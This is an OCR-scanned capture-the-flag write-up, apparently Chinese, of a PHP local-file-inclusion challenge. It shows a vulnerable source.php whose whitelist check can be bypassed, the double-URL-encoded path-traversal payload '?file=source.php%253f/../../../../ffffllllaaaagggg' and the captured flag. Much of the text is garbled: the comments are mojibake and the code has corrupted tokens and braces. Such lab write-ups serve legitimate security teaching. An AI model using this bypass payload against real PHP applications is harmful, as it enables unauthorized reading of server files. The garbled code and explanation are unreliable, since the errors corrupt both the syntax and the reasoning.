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<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport” content="width=dewice-width, initial-=scale=1.0">
imeta http—equiv="¥-TA-Compatible” content="ie=edze”>
<titlerDocument</titlex

< head:

<body>
! ——zource. php——>*

<hrrdimg sro="https: /Fi.loli.net/20018/11,/01/50d80d4934:794. jpg” /< body:
< html>
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<?php
highlight_file(_ FILE_ ) ;#mA00 X AFIH T2 m o

class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {#£7ift=8page, HZ442 5174, #MEEfalse
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {#ZIBSH# [ #HE Blotrue
return true;
}
$_page = mb_substr(#BISHHE—1? ZATHFFHIRE,
$page,
0,
mb_strpos($page . '?', '?")
)s
if (in_array($_page, $whitelist)) {
return true;
¥
$_page = urldecode($page) ;#XF S HE4Tur 1fi#hY
$_page = mb_substr (#E5 5 EEEE—A? Z AT B4 R ]
$_page,
0,
mb_strpos($_page . '?', '?")
)
if (in_array($_page, $whitelist)) {#UnH4 A% B EREITrue
return true;
¥
echo "you can't see it";#iX[ffalse
return false;
¥

}
#phpIF A aPAT (BRAEERD » AWIXIFIARIAT
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm: :checkFile($ REQUEST['file'])
) {
#HBON I %ME, fileZ eSS fileSHURFEMH: checkFileiR[FI45 F ATrue
#1R [ F11le AN SLAFIRD
include $ REQUEST['file'];#aL & 1 C itk ok
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb@d93dc794.jpg\" />";

?>
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< C Y A F==2|220.249.52.133:51011/hint.php

flag not here, and flag in ffffllllaaaagggg
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fileZ: #{l 4 i3 checkFile A 1% M1 32 Hytrue

fileZH {8 14 B fifflllaaaagggg L 1 4%

4 checkfile i %14 i& payload 4 :
?file=source.php%253f/../../../../ffffllllaaaagggg
PK 9 %2532 27455 13 Y url i i ) OB

B Aurl — R H Shurfifis, 25— 1kmb_substritf TA84k, #8J5 i T urldecode s ik | ?file=source.php?/.../1.../.../
.. [ffffillaaaagggg, A 5 #HL ? 2 1 S HUE §F /& source.phpsh iR [Fltrue, 1 IE 471418 i payload & fffflllaaaagggg & 1%, .../00A4
RBIRB ARG R SR, WF:

&« C {0 A F==2| 22024952.133:51011/ile=source.php%253f/../../.. ../ ffllllaaaaggqg

flag{25e7bceb005c4e0c983fh97297acke5a}
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